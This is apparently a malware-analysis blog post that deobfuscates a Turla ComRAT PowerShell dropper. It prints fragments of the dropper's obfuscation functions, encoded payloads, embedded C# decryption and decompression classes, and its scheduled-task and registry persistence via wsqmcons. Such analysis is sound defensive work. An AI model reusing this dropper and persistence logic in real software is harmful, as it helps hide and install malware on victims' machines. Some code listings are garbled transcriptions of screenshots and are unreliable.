Deobfuscating PowerShell Malware Droppers

ryancor.medium.com/deobfuscating-powershell-malware-droppers-b6c34499e41d

Ryan Cornateanu

September 27, 2021



Sep 26, 2021

12 min read

I recently saw a <u>video</u> of <u>Ahmed S Kasmani</u> dissecting a ComRAT PowerShell script to obtain the main malware that it drops onto the victim's computer. If you haven't seen the video yet, I highly encourage you to watch it. This paper is going to go into similar detail, as well as my own approach to deobfuscating PowerShell scripts to get to the main payload. To follow along, you can use this hash to download this script from VirusTotal:

134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8

So what is 'ComRAT' besides a city and municipality in Moldova and the capital of the autonomous region of Gagauzia? It was started by a Turla hacker group, one of Russia's most advanced state-sponsored hacking groups that began in 2007. Although the latest version of ComRAT v4 was created in 2017, it is still being used a bit today.



Figure 3 // Timeline of ComRAT

ComRAT Timeline from ZDnet[.]com

Turla hacking group's modus operandi was to target government and military facilities. Turla has since been dubbed by other names such as Snake, Krypton, and Venomous Bear.

Attack Chain



Mechanism of Attack

In this paper, we will be going over how the dropper operates, and the logic on how the malware gets to stage 2, which is the DLL payload. This cyber-kill chain graph will be a work in progress on my end as I did not fully reverse engineer much after the DLL was dropped. Maybe I will turn this into a series, where I go over every part of the chain, but for now let's focus on the first three components in the graphic above.

Diving into the PowerShell

For this lab exercise, we are going to use Visual Studio Code on a Windows VM since they have a great linter for PowerShell scripts. Let's open up the file, and dive in.



Original PowerShell opened in VSC

Three major things hit me at first... 1) this is a lot of base64, 2) the PowerShell is not formatted out correctly, and 3) the variable names are completely randomized. First let's take care of how many lines of code the base64 is taking up. We can easily fix this by going to View->Toggle Word Wrap and uncheck it by simply clicking on it. Now, we want this to be properly formatted, this can be fixed by hitting SHIFT+ALT+F.

1	function TVM730egf([string[]]\$GP50afa) {	
2	\$UC33gfa = ((1(Get-Random -Min 2 -Max 4) % { [Char](Get-Random -Min 0x41 -Max 0x58) }) -join '');	
3	\$EQ33abh = ((1(Get-Random -Min 2 -Max 4) % { [Char](Get-Random -Min 0x30 -Max 0x3A) }) -join '');	A CONTRACTOR
-4	\$OFK689fa = ((1(Get-Random -Min 2 -Max 4) % { [Char](Get-Random -Min 0x61 -Max 0x68) }) -join '');	1.533
5	\$TTG32aa = \$UC33gFa + \$EQ33abh + \$OFK689Fa;	A AND A REAL TO
6	if (\$GP50afa -contains \$TTG32aa) {	Contraction of the local division of the loc
7	\$TTG32aa = Get-RandomVar \$GP50afa;	
8	} \$GP50afa += \$TTG32aa;	DATE TO UNL
9	return \$TTG32aa, \$GP50afa;	PERSONAL PROPERTY AND
10		There is not a real to the second sec
11	function PAZ488af {	The Second in Manhood
12	param([string]\$BRK627db, [string]\$J3V434ghf)	
13	try {	
14	<pre>\$KX1603eh = New-Object -ComObject('Schedule.Service');</pre>	
15	<pre>\$KX1603eh.connect('localhost');</pre>	
16	<pre>\$LM625cbg = \$KXI603eh.GetFolder(\$IJV434ghf);</pre>	
17	\$ZH626hg = \$KXI603eh.NewTask(\$null);	
18	<pre>[string]\$SV557ebg = [System.IO.Path]::GetTempFileName();</pre>	
19	Remove-Item -Path \$SV557ebg -Force;	
20	<pre>[string]&VD295gbh = [System.IO.Path]::GetFileName(\$SV557ebg);</pre>	
21	<pre>\$PS061hh = New-Object System.Text.ASCIIEncoding;</pre>	
22	\$HZ96da = [Convert]::FromBase64String("cHVibG1jTHN0YXRpYyBjbGFzcyBSWlA2NDViZXtwdWJsaWMgc3RhdG1jTG35dGVbXSBVRDAxNG1jKG35dGVbXSBpbmNvbWVFYn10ZXMsTG35dGVbXSBnMWitYS17Yn10ZVtdTG91dHBidCA9TG51dy	B
23	\$VTC52ii = \$PS06ihh.GetString(\$HZ96da,0, \$HZ96da.Length);	
24		
25	Add-Type \$VIC52ii -erroraction 'silentlycontinue' }	
26	catch {	
27		
28		
29	STEX262hh = 'H4sIAAAAAAEEIySxW7ETJIeeBg3qEhCJAE2gy9KQK68HTPFo2gA733ZNEM9t2Xf2u7e8xKuzdWFjM2MLPIM2B5jNneTOOfWBr9101//h/uvjZj9T//9B9IGsXy9h/+9LcRydM/SNKW/+XV/+6f//7v/QNt4ATe3Pmf/vuf/kMeGnMG	
30	<pre>\$H1(9hn = [Convert]::FromBaseb4String(\$iEX262hn);</pre>	
31	3000/CC = H451AAAAAAAEA135XW/E111000933dEC13EC2839WQK00HTPF02gA/332NEP9C2XT2U/08XKU20WF]M2H1P1M2B5]Nne100TWBP3101//h/UV32391//983405X9h/+9LCKY0M/SNKW/+XV/+6T///V/qRC4A103PMT/VUT/KM00M623	
32	SPVUMSea = [convert]: FromBaseo45tring[SMO6/CC)]	
33	SUSHSDER = S(((Uet-Handom -Hin 8 -HALIS) A [[Char](Uet-Handom -Hin 6X36 -HALIS)]) -]0in)S((1(Uet-Handom -Hin 6X36 -HALIS)] A [[Char](Uet-Handom -Hin 6X36 -HALIS)]) -]0in)	*
34	[byte]]]\$JQ\$A/ad = [KZP03304]:/AD1412(3M129H), \$P\$5001M1.0etbytes(303495964)]; Even(3)]AC131bh = [CD1645612), VD0346/CM1480-b, 4D8C4545003);	
30	[Dyte]]]agtuminou = [hzrowisou]::hDufut(]arvumonad, arsonim.uetuytes(ausised)); darmend = [Comment)::romener(defined):darDens);	
30	Anisceu = [convert]::IoBaseGestring(Jugarda); ADDB1:h= [Convert]:InTabaseGeftBhan)	
30	symbolity = [control]	
30	arrynu - B(7) Echsinal Rockitha - Echsinal 114106664 - TAN 20006 4URACHA	
40	[string]# Socially (string]]#Wide h = TW/3464 # Workhy	
41	[string]awwadaji [string]]ywyano - whateg	
42	[string]att20202 [string]]atv300 = th320g atv300	
43	[string]proceeding [string[]] some - tringbegi product,	
44	[string]probati [string]]yuba h TW7366 yubah.	
45	[string]phone in the string []] type and string []	
	Factor Biltheory and Filtheory (1996)	

PowerShell reformatted

This looks a lot cleaner! Time to break down the two functions inside this PowerShell and start renaming function / variable names. Let's start with the first one. It looks like some sort of string generator.

Obfuscation of Function & Variable Names

function TVM730egf([string[]]\$GP50afa) { \$UC33gfa = ((1..(Get-Random -Min 2 -Max % { [Char](Get-Random -Min 0x41 -Max 0x5B) }) -join ''); 4) | E033abh =((1..(Get-Random -Min 2 -Max 4) | % { [Char](Get-Random -Min 0x30 -Max 0x3A) \$0FK689fa = ((1..(Get-Random -Min 2 -Max 4) | }) -join ''); % { [Char] (Get-Random -Min 0x61 -Max 0x6B) }) -join ''); \$TTG32aa = \$UC33gfa + \$EQ33abh + if (\$GP50afa -contains \$TTG32aa) { \$0FK689fa; \$TTG32aa = Get-RandomVar \$GP50afa; \$GP50afa += \$TTG32aa; return \$TTG32aa, \$GP50afa;} }

The first three lines look to be generating only capital letters ranging from 2 to 4 bytes. The second line does exactly the same thing as line 1 but only generates numbers. The third generator generates a 2 to 4 byte lowercase string. Let's rename a few variables and see how it looks.

function rand_string_generator([string[]]\$param1_str) { $rand_upper_str = ((1...)$ (Get-Random -Min 2 -Max 4) ... \$rand_num_str = ((1..(Get-Random -Min 2 -Max 4)) \$rand_lower_str = ((1..(Get-Random -Min 2 -Max 4) $rand_str_gen =$ \$rand_upper_str + \$rand_num_str + \$rand_lower_str; if (\$param1_str -contains \$rand_str_gen) { \$rand_str_gen = Get-RandomVar \$param1_str; } \$param1_str += \$rand_str_gen; return \$rand_str_gen, \$param1_str;}

Now we can copy this function, and paste it into a PowerShell command line, and see what the output will look like.

PS C:\Users\ryancor> rand_string_generator("test")FN36ddtestFN36dd

Easy enough, this looks like it feeds in a string, and does a check to make sure the random string it generates does not match the string parameter. If they are a match, it will get a random byte from the parameter string and add it to the random string. Looks like this function gets referenced about 10 times throughout the program.

```
$rand_string_array = @();[string]$PS061hh, [string[]]$rand_string_array =
rand_string_generator $rand_string_array;[string]$RPW45dij,
[string[]]$rand_string_array = rand_string_generator
$rand_string_array;[string]$RIZ505ia, [string[]]$rand_string_array =
rand_string_generator $rand_string_array;...PS C:\Users\ryancor>
$rand_string_arrayXLA320efeYUP59cgCB456fgbBW13chiNQG095ggNP120cehYG27gf0XN26bdVE440ihi
```

If we look at the array and the single random strings returned, they never get referenced again in the program. With that being said, if we pay attention to the how the function and variable names are specifically labeled, we find a massive similarity to the output above. The string generator takes in a string and concatenates an array of randomized bytes that start with two to three uppercase letters, followed by two to three integers, then lastly, two to three lowercase letters. This entire script follows this XXX000xxx naming convention. So it's safe to say this is how they obfuscated the entire dropper as I assume the author's copy of this PowerShell script has debug symbols that helped the malware writers QA their work before shipping this out to their targets/victims.

Executing Embedded C# Code

Time to move on over to **function PAZ488af** which referenced the random string generator, but we are going to start from the top as it has important information about what's going to be dropped, while also renaming some variables to better understand what is happening here. Starting with the first 10 lines, there is already so much going on:

```
$task_sched = New-Object -
ComObject('Schedule.Service');$task_sched.connect('localhost');$objFoldr =
$task_sched.GetFolder($param2);$null_task = $task_sched.NewTask($null);
[string]$filename = [System.IO.Path]::GetTempFileName();Remove-Item -Path $filename -
Force;[string]$ps1_name = [System.IO.Path]::GetFileName($filename);$ascii = New-
Object System.Text.ASCIIEncoding;$base64_decoded_bytes =
[Convert]::FromBase64String("cHVibGljIHN0YXRpY....");$ps_decoded_class =
$ascii.GetString($base64_decoded_bytes, 0,
$base64_decoded_bytes.Length);try { Add-Type $ps_decoded_class -erroraction
'silentlycontinue' } catch { return; }
```

The first four lines are dedicated to testing the presence of a folder, and scheduling a task at Microsoft\Windows\Customer Experience Improvement Program, we don't know what significance this has yet but maybe we will find out later. If you're wondering how I found out what **\$param2** was in **\$task_sched.GetFolder(\$param2);** was, all I had to do was trace out how this function was being called, and the second to last line of this PowerShell dropper shows the string arguments that were used.

146 New-ItemProperty -Path "HKLM:SOFTMARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\\cabel8a5-69b9-4eec-bed0-fa888ed95a3b)\ChannelReferences\@" -Name "N" -PropertyType String -' 147 New-ItemProperty -Path "HKLM:SOFTMARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\\cabel8a5-69b9-4eec-bed0-fa888ed95a3b)\ChannelReferences\@" -Name "S" -PropertyType String -' 147 New-ItemProperty -Path "HKLM:\SOFTMARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\\cabel8a5-69b9-4eec-bed0-fa888ed95a3b)\ChannelReferences\@" -Name "S" -PropertyType String -' 148 PAZ88af 'C:\Windows\SystemS2\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator' 'Microsoft\Windows\Customer Experience Improvement Program\Consolidator' 'Microsoft\Windows\Customer Experience Improvement Program'; 149 Remove-Item 'C:\Windows\Customer Experience Improvement Program\Consolidator' 'Microsoft\Windows\Customer Experience Improvement Program'; 149 Remove-Item 'C:\Windows\Customer Experience Improvement Program\Consolidator' 'Microsoft\Windows\Customer Experience Improvement Program';

String Arguments Used

The next 3 lines will grab the PowerShell script name and remove the path from it until it is just a filename string. Now, the last few lines of the script above are decoding a large base64 string, so we can use <u>cyberchef</u> to see this is.



Looks like some interesting embedded C#! So what I like to do since that classname will most likely be referenced in our script, is copy and paste this into our dropper file. Yes, you can execute C# functions from PowerShell, and that's what the try, except statement is attempting to do. As shown in Microsoft's documentation, the Add-Type cmdlet lets you define a Microsoft .NET Core class in your PowerShell session. You can then instantiate objects, by using the New-Object cmdlet, and use the objects just as you would use any .NET Core object.

So let's rename the classname RZP645be to decryption_class, and the function within XD014ic to decrypt, since this looks to be a simple multi-key byte XOR decryption. You'll notice as we are replacing this in the script, we can see it is being called a couple of times throughout the PowerShell script.

Let's break this down, we have two extremely large base64 strings, and so we will start with those using cyberchef. Once you use the base64 decoder, you'll notice both of these encoded strings have very similar headers, so it has to mean something:

.....¹Ç.ÄL..x.[`]Þ_i!...Î.½)

The problem is, we have no idea what type of file format this is. So we can use cyberchef's **Detect File Type plugin** to help us identify.

Recipe	8	Î	Input le	igth: 1007227	+	D Ð	3				
From Base64	\otimes	П	/hE2skIS0dC+XAfD9BRNGZnqjOSP8AUqKsmFmK0DXZaKk1BbywdH5WuLi6l/sL7hM31FTpLHMLtUBL <ta5adbxx4rzqnlatxcdzh71cjithuo6mv 1<br="" qiuv+wzcczu1gkvmkb8fifezbcvf0xbvu8mbjoc4z5="">/3Ubswr+wer9bxzKo/VyMtu3elmYWY14rvDFottu7B2dImycaMTR09n70aAr7kP96DVMFiYtF2en6IM</ta5adbxx4rzqnlatxcdzh71cjithuo6mv>								
Alphabet A-Za-z0-9+/=		*	Alab34goar1uoSc2FQ+KD06YNBAV6T2U344Gg0gP48odS9VY X9c0X3Jf0ZIR8KTvSV0zUvKukq1E35TBaT0gw1SaB/26HTPv2	иг+wer+boxzkp/vymtuselmYWY14ryDFottuZBZdImycaMTBQ9g7QaAr7kF96DVMFiYtEZeq6IMOzUi 4goar1uoSc2F0Q+kD06YNBAV6T2U3446g0gP48odS9VYGcYXuSKg+LmieFFNK2i05LQC+vRjdPyLgx 31f07TB&KTySVØ2UvKuka1F35TBaT0gu/SaB/26HTPv2ds3VF7WbNPFesFlzcB347vfbknv3gosTD							
 Remove non-alphabet chars Detect File Type S II Images Video 		17xLRTw1gl0jcsLfAzpnrhHHZfj0YDMtpAh21Bnh4uqmiTgzSheenMapK5ruNeakfYCuNoVSiOSID Ag/GGteRh0enjJagFoD/cpZvKs8HC2+gYNVgZTP/ruwKpAtJxS5uTP/qggVIwXQJKSxsfAYVAUcw7BA2h4 4b1+emp0vG82SLaChAd78bZzb54WjPLG+tXeU5jm7j9boDyKgBiJH9p0jXzLv665ZGtmcBWumUSEyrPuOE urD2jXZf8c+aurWIpGT5H641ZDaojK4ADn0xdyQqkPDL0rtZQGTtD3Ae+kBfIGLgQYT1Dnz53WttvgCtsn zjZ3yqjqagP5TngOIMDxL+ULJnONGF/jumPE4fmBRJ8JFClX0ENepzuHYz1iZ4fFLa++q0oet85Yv8cYve B0EsRv7bQY5kCt+5L7rCHhs3UpX9Wn+AtCQrUzBIvhGCcCQlTT4seWmZv+fkPRUg9wnPGDE0GK+v7uI/04									
									<pre>i+tjf1Y71c6MQtHvM0MiopifmnB9jow08pew8ZsEBnJkItmh0LuEe00s0w8t2EI/nF19B8b0R80mxG00GFM vE5iQyARqKHj68QhslAWK8Bui+cKb6BQSXXtcr9wgBi0B+EWL0JMv6TBSIahQjSPVflI3rTbyl/f7F31XDs oTsLIA0p8hSqFar1HvDaAh59kQWqtGhUBagjmsFQYBLMPlH42RKEhHNE4Bb48CI1TLYvzbP07EeNCxituRB</pre>		
		Audio	Documents		NvhD9sQr0Id5E87B4VxDQgQxtIBBWE2RREzFdBpGY1r7/gs0T odD2M5hlZbVAxbNg3ll80hgEGK4Rv4FUlvF1y7dpwemBTiczo NAgFelAHPv15zxZ4+zcjf+0ESDwACKQgydsJS24dp2ZT51//4	EgAGfo8zC0Ct3 4i1Dvj8xxKjVR l//3T+PD3lu+/	k1VXK) UPj2Trl ′uM///	<zqterm buF1GHZ Ff3Dgc+</zqterm 	TUYAg XNFVw bL997	A9V3 Epnt //u7	
Applications Archives			CMPRuvOYHZ21IP5b/9U/1BEFQW////IinQ3ASl++PWDKF12X+b++9yd+9f4+s8+sf//x83lnN0+I//gdxP AG5LF8PAA==								
Miscellaneous			Output	time: 45ms length: 64 lines: 4	8			0			
			File type: Gzip Extension: gz MIME type: application/gzip								
STEP 🗾 💆 BA	KE!	ake									

Detecting file format of unknown bytes



Gunzip the bytes

It looks like we have more PowerShell code being decompressed. So we can start renaming variables to make this script look cleaner.



PowerShell Script Dropper Base64 Encoded Strings

We are not sure what it's decrypting, given the fact that these are compressed bytes, and not encrypted bytes from what we were able to prove with cyberchef, but maybe it will become more clear as we move along. At this point, I took the decompressed code, and moved it to a separate file that I named dropper_part_2.ps1, and reformatted it.



New IOC dropper script

Let's go back to our main dropper script because we have to take a look at this function ([decryption_class]::decrypt) a little closer. Once the script decrypts the decoded bytes, it assigns certain pointer values.

```
[byte[]]$decrypted_ps_bytes_1 =
[decryption_class]::decrypt($ps_decoded_1,
$ascii.GetBytes($rand_key));[byte[]]$decrypted_ps_bytes_2 =
[decryption_class]::decrypt($ps_decoded_2,
$ascii.GetBytes($rand_key));$base64_encoded_decrypted_bytes_1 =
[Convert]::ToBase64String($decrypted_ps_bytes_1);$base64_encoded_decrypted_bytes_2 =
[Convert]::ToBase64String($decrypted_ps_bytes_2);...$sqmclient_reg_path =
"HKLM:\SOFTWARE\Microsoft\SQMClient\Windows";if ([System.IntPtr]::Size -eq 4) {
$HQ0388ea = $base64_encoded_decrypted_bytes_1;}else { $HQ0388ea =
$base64_encoded_decrypted_bytes_2;}
```

We have two ways of figuring out what is the purpose of the decryption, we can simply figure out what [System.IntPtr]::Size does, or we can actually debug this. The lazy way is to look at the Microsoft docs. It states that the size of a pointer or handle in this process is measured in bytes. The value of this property is 4 in a 32-bit process, and 8 in a 64-bit process. You can define the process type by setting the /platform switch when you compile your code with the C# and Visual Basic compilers. Now we know why there were basically two identical PowerShell scripts being decoded, one will most likely drop a 64-bit DLL or EXE, and the other script will drop a 32-bit one.

Writing & Persistence Mechanisms

As you can see below, after renaming some variables, we can see the main purpose of the rest of the script is to create schedulers, triggers, and executions with the wsqmcons binary, which is a software component of Microsoft. Windows SQM consolidator is tasked with

collecting and sending usage data to Microsoft. Wsqmcons is a file that runs the Windows SQM consolidator, and is usually deemed as a safe file for your PC. In this case, it is used being used for malicious purposes. The modification of the scheduled task shown below indicates the primary purpose of this task modification is to decode and execute a PowerShell script contained within the registry key

HKLM:\SOFTWARE\Microsoft\SQMClient\Windows = WSqmCons and the script will inject the payload into the WsqmCons registry key.



Malware disguising itself as a safe process

Knowing this now, I feel comfortable to skip the rest of the main script we were looking at. So we can focus our attention back to the script that we just decoded (the script that we dubbed dropper_part_2.ps1).

PE Dropper



Execution of C# Script

Analyzing the first few lines, it looks fairly similar to what we saw before in the main script. I'll take this base64 string and decode it in cyberchef. Once you do this you'll notice another blob of C# code.

```
using System;using System.IO;
using System.IO.Compression;
public static class WQS70fb {
   public static void YQ498hff(Stream input, Stream output){
       byte[] buffer = new byte[16 * 1024];
       int bytesRead;
       while((bytesRead = input.Read(buffer, 0, buffer.Length)) > 0) {
           output.Write(buffer, 0, bytesRead);
public static class VO01bag{
   public static byte[] XOP22aj(byte[] arrayToCompress){
       using (MemoryStream outStream = new MemoryStream()){
           using (GZipStream tinyStream = new GZipStream(outStream, CompressionMode.Compress))
           using (MemoryStream mStream = new MemoryStream(arrayToCompress))WQS70fb.YQ498hff(mStream, tinyStream);
           return outStream.ToArray();
   public static byte[] RJ85ige(byte[] arrayToDecompress){
       using (MemoryStream inStream = new MemoryStream(arrayToDecompress))
       using (GZipStream bigStream = new GZipStream(inStream, CompressionMode.Decompress))
       using (MemoryStream bigStreamOut = new MemoryStream()){WQS70fb.YQ498hff(bigStream, bigStreamOut);
       return bigStreamOut.ToArray();
```

Under the hood of the C# Script

When we highlight some of the public classes and functions, we can see where they are being highlighted in the PowerShell script. V001bag , which has the functions X0P22aj & RJ85ige , looks like a simple gunzip compression and decompression, so we can rename those accordingly. The class WQS70fb and function YQ498hff looks like it takes in an input of bytes and writes them out to a file. I've renamed them as well since we can see them being used throughout the file. Now if we go back to the decompression function from the decoded C# with our renamed variables, it feels like we are getting closer to our PE file.

```
public static byte[] decompress_array(byte[] arrayToDecompress){ using (MemoryStream
inStream = newMemoryStream(arrayToDecompress)) using (GZipStream bigStream = new
GZipStream(inStream,
CompressionMode.Decompress)) using (MemoryStream bigStreamOut = new MemoryStream())
{ WriteClass.write_to_file(bigStream, bigStreamOut); return
bigStreamOut.ToArray(); }}
```

Our WriteClass does not get called in the PowerShell script, but it does get called in C# code within the DecompressionClass, which tells us that after certain bytes are decompressed, it gets written to a file because if we reference this decompress_array function, we can see it being used as such:

```
$FV18hi = [DecompressionClass]::decompress_array($TEM52cbe);....$PEBytes =
[DecompressionClass]::decompress_array($PEbytes);
```

Looks like we found out where our PE bytes are being decompressed, written, and dropped.



PE Dropper

The remainder of the script before the PE bytes get written to memory, is the use of a 3DES decryption algorithm with an initialization vector of **FVADRCORAOSKBHPX** to encrypt/decrypt the contents of another PowerShell script with a password and salt. It will then be stored in a Windows registry path as seen in the screenshot above. In turn, it will make analysis of the script impossible without the correct password and salt combination. This command (**IEX**) on the last line will execute the dropped PE file onto the victim machine. You can find the open-source PowerSploit script <u>here</u>.

For the moment we have all been waiting for, let's take the base64 string I labeled as \$pe_encoded_bytes and throw it into cyber chef to decode and decompress.

Recipe	8		Î	Input length: 984160 + 🖸 🕣 🗃 📷				
From Base64		\bigcirc	Ш	fC29VgI0zcsmijp+z2Xa1C5m8xvH0VcHRwHLo3o71vy0F0h8wmQU/+VoQVIxQ60UpuV+ls8a3+hchapejdS jhv3W90paiYGycKtjr1HKoayt3S3tHBSFUz0MvJc0N0oeG5Ik95rlwuiKtWKLo3/29T9Q6CN+DUHn9lC4L3 9L20uf(rx0w30DD8r/c/03eo35d00W102mi/KMVv18o203NHvkvMrch3SNRPw1/SeMEnatDm870Wd104fF				
Alphabet A-Za-z0-9+/=			•	VISZKzcfichZsz0l3186BcM98sBG+UCheqFvrUpk4hFocDtZ2VZP6qjmuteuuQ1Q0C6TgNCRE8ScEiUaDKu				
Remove non-alphabet chars				E4i0elThWBM7xSkUpyB1As6ael0rRBkCY9T0I8S5PlHFV+BSj+1xqmYuXkM41FpMtJqhpgclLZ7XBMq3Tvf i0ik0zaPK2yv80Zx1/P3s2iWcDnvjM+7EzHI1yxZ4wYYx7s5/HtVHYx6jKK0TIFmFsvlopr9lCChmjG/url QAFergl7WKQ3Qyhbl13UcC49Lb6/cMpFDGtvJ9WStxqJG/6sbCMHir5J4PBuPGslUc9rVsvr/+pbB799zi+ dHTv1Vr1Tw060FvSWipDAFK0PZ7E/u/V0013Ta/6tWca3lT00VqDTmo101ia/+wuVMYXr7Pb/1EPapap				
Gunzip		\bigcirc	П	09nipor+9VSW8ApVRVvTtiy/0BJ/cWZGu+sK09Jc8QPWQWoK28a5f+bc7PEP51/HHeC25X0nyceBWDpzhH wyBf2tf/3oyjTu0mfzkQdejRNhVTjSQ5S86Bgxf+6o7NcbLjquHNlrzJRq649kAbQ0gwajCP9fRut9U4x/				
				d]1kRobgbUN3M]/dnLAUK+19XAyZHK0FNdC5jr/ZsmV/qmmXUr0onD/ZBVV5rWyS1UHUCL89jx0(K91L3) Wzgwn8rADB8WFgAwot9f5uTQaooE1H06YrIYL3vHspie1aWdBJAD5xMkyhhwntlVrG64QCBv5TbXa4fIk4 T0kUlywqM2YztlcDhiwHNXY6LSd24a1a56X6HLcfNBgUUcNNnfk8z+vwaz26Ys3WkuW2qouQszSEsScMwd 33Gzq0H2KQEi6UWC7ZM7NbBaeLkP2vdH7l3009nuj6suD0r4r9zCShGnAQWoPS8HtqXAQFQb16I7b0j81g D21Pgf32Dt2MWFwet82ZxuaisCnHXo62WfkZTpWID12h23Fhoo8KEcUcht7NemuG3f+60eb/hR+9eq08K8 VjLyt+90Tzt29MhoK62k6AvRs1/+4d5JN9473/9Z958+s/9/Z3Mda5GmzTZAV0vsHtvbXtvWntnasFiXez qXfPxn2+YaIv0XYdpZZApf0wRPjUSu5qI9a+F+wYWD10sFlpVihcDx9AZ6pAZ8+FJ+hGr83kEnQghRk+hI /ek8D3nP6/YsZDt/8ddDikDkcfC0X09bqAKHi0+WDERHZsMHaqRwkakro03JQs/rFAl95M2+6tE/weiael pEjoDyuv76z+/+c//ASb88tEAkBcA				
				Output 🎽 Line: 264ms Length: 1544192 Lines: 3918				
			MZýy@ @					
				Ìhàè5YÃÌÌÌ̹.'èhèYÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ				

Decoded & Decompressed PE

If we click the file save icon, we can download this binary. Now we can check the IOC on it, and see if anything pops up in VirusTotal.

→ file payload.binpayload.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows→ openssl sha1 payload.dllSHA1(payload.dll)= d117643019d665a29ce8a7b812268fb8d3e5aadb

Looks like we are dealing with a dynamic link library file, which we will not be able to reverse engineer for this paper (but we'll still want to see this payload through eventually).

Σ	b93484683014aca8e909c9	/b5648d8f0ac21a45d0c193f6ca40f0b01d2464c1c4		Q 🛧 🎆 💭 Sign in	Sign up			
	54	① 54 security vendors flagged this file as malicious						
	Community V	b93484683014aca8e909c9b5648d8f0ac21a45d0c193f6ca40f0b01d2464c1c4 fgjfdlkj.bin pedli	1.47 MB Size	2020-11-28 00:40:02 UTC 7 months ago				
	DETECTION	DETAILS BEHAVIOR COMMUNITY 2						
	Ad-Aware	() Gen:Variant.Ursu.899208	AegisLab	() Trojan.Multi.Generic.4lc				
	AhnLab-V3	() Trojan/Win64.Turla.R338179	Alibaba	() Trojan:Win32/Tiggre.b75fab2c				
	ALYac	① Gen:Variant.Ursu.899208	Antiy-AVL	() Trojan/Win32.Injuke				
	SecureAge APEX	① Malicious	Arcabit	① Trojan.Ursu.DDB888				
	Avast	() Win32:Trojan-gen	AVG	() Win32:Trojan-gen				
	Avira (no cloud)	① TR/Spy.Gen	BitDefender	() Gen:Variant.Ursu.899208				
	BitDefenderTheta	() Gen:NN.ZedlaF.34658.Ev4@a8Jv8fci	Bkav Pro	U W32.AlDetectVM.malware2				
	CAT-QuickHeal	() Trojan.Multi	ClamAV	() Win.Trojan.ComRAT-9797302-0				
	Comodo	() Malware@#11ly8q4jgid6	CrowdStrike Falcon	() Win/malicious_confidence_100% (W)				
	Cylance	() Unsafe	Cynet	() Malicious (score: 100)				
	DrWeb	() Trojan.DownLoader33.50971	Emsisoft	() Gen:Variant.Ursu.899208 (B)				
	eScan	() Gen:Variant.Ursu.899208	ESET-NOD32	() A Variant Of Win32/Turla.EE				
	F-Secure	() Trojan.TR/Spy.Gen	FireEye	() Generic.mg.1d626b48ae7062bd	Q			

VirusTotal Hit

Looks like we hit the jackpot, and I'm sure the DLL will show all the inner workings of how ComRAT works.

DA Vev-A	🔲 🚺 Pseudecede A 🔝 🚺 Stad. of a	al 1004/382 🖸 🚺 Hos Row 1 😨 🚺 Structures 🗔 🛙 🗊	thane 🔝 🚮 Inports 🛄 💽 tupots 🗔	text: 1004F7C0 dll_main_expo	rter proc me	CODE STREF: WTEP+24P	
Address	Ordinal Name	Library		text 1984770		, DATH AMER', FORTS, OTT_DETAPSON	
20064000	CnotDestrontigh	#200#132		text:1000F7C0 Src	- dword p	ptr -25Ch	
1 2005A084	GruptOreabiliadh	AD/4P132		. text: 100AF7C0 h0bject	= dword p	ptr -258h	
10000000	Crystrienitandom	#DAMPTN:		. text:1000F7C0 FileHans	- word pt	tr -254h	
1000A00C	CnstGetHaltVaran	ADMPTS:		. text:1004F7C0 var_250	= dword p	ptr -2505	
1 2005A020	CrystDecryst	ADWP132		. text: 1004F2C0 Var_240	- dword p	ptr -240h	
\$1 100EA014	GrytDeshowley	ADVAPTO2		Text 10047700 Var_240	- dword p	PUP -2400	
1000A008	CrystlaportEav	ADMATS:		text: 1004F7C0 Block	= award a	otr -2403	
1 2005A03C	CryptRisingerContext	ADWP132		text:1000F7C0 yar 220	- dword p	atr -22Ch	
1006A020	GruptSattauRaran	ADVAPED2		text:1000F708 var 226	- byte pt	tr -224h	
1006A024	Cryst-Acceler ContextW	ADVAPTS2		. text:1004F7C0 var_220	= dword p	ptr -228h	
1 20054029	Rec5etHelasDxW	ADMP132		text:1000F7C0 var_210	- dword p	ptr -214h	
41 100EA02C	Rectingen	ADMPD2		. text:1004F7C0 var_206	= dword p	ptr -208h	
1006A030	ResOur VisiatExM	#DW#132		Party 10045700 USF 150	- dyna pr	FF - 10-403	
100004004	RepCreated av \$164	AD/44132		text-1864F708 war 108	a botte at	tr - 108h	
\$1 100EA009	GruptHashDate	ADVAPTO2		text:1004F700 var 180	- dward a	ntr -1885	
50 100EA040	CreateDrostarvW	KERMELS2		text:1004F7C0 var 104	- dword p	ptr -1Dth	
20054044	SetTinTere	KER/MEL32		. text: 1004F700 var_140	- dword p	ptr -14Ch	
10054040	Contellect	VERME 92		text:1004F7C0 var_20	- dward p	ptr -20h	
THE DISKARD	Expandit/www.mentStringsW	KERMELTY		.text:1003F7C8 var_28	- byte pt	tr -28h	
10004050	ModBindthA	KERMELSC		text: 1004F7C0			
1006A054	Map/law/Offile	KERAEL32		Toxi 1803F7C8	pece e	top our	
100EA058	UnitapitieviOFile	KERMELS:		text: 1000F7C3	and n	ALL ALL TREFFEREN	
1008A08C	SetDyant	KERMELS:		text: 1004F206	580 C	esp. 25Ch	
41 2005A060	FluctviewOfFle	KERMELS2		text:1004F700	puth el	eltix	
10060064	Canaditacions	VERME 12		text:1004F7CD	push e	esi	
107408	GetteralTee	APRILITY		text:1004F7CE	puzh a	edi	
ALL NORTHONG	Gait Longitud Indian matters	HERMEL SC		text:100AF7CF	gall n	resolve_spi_names_	
\$1 100EA070	Handhills	KERMELS2		text: 10047704	call o	Dex. [Expression/var_ice]	
10074074	Condefine	KP1101.37		Desite 10000-200	Call N	Data (accedentiations 107)	
10054078	Genorman	VERME 32		text: 186AE7E7	auth 3	200370705	
50 100EA07C	Getiroci.dimt	KERME 32		text: 1000F7EC	cell s	sub 19892CED	
10064080	Load Iran I.	KEIMELS?		text:1000F7F1	NEV28 8	ncx, hyte_10172758	
20054084	OperQuestW	KEPAGL 32		. text:1004F7F8	push e	NEX .	
\$1 100EA000	GetTheSize	VERME 32		. text:1004F7F3	nev e	NCX, HBX	
THE DEPART	Settlebude	KERNELT/		text:1004F7FE	cetl 54	1000000	
10074090	WhitePla	KP3101.32		- Cext: 100sroed	18.9	eck, [experimentation]	
\$1 100EA064	VetualProtectEx	VERME.32		-I CODATECO LECRETCO: GLI BASE AUDO	ottar (Synchron	nized with Her View-1)	*

